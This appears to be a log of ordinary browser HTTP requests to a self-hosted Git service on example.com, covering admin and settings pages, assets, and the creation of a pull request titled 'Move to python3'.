{"method": "GET", "target": "/admin/config/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/monitor/stats", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/monitor/queue", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/monitor/cron", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/gogs.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/feishu.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/slack.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/discord.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/telegram.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/dingtalk.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/msteams.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/wechatwork.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/packagist.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/sourcehut.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/notices", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/2", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/account", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/security", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/keys", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice?tab=activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice?tab=stars", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/acme", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings/units", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/migrate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=890deb73026afc5f; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 764", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaGATihSdXZHYz0ae", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nMove to python3\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nPorts the scripts.\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"redirect_after_creation\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae--\r\n"}
|
||||||
|
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 37", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fpulls%2F2"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/2/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/pull-request-merge-form.08cfd3a0.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/pull-request-merge-form.8413f096.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls/2/commits", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls/2/files", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
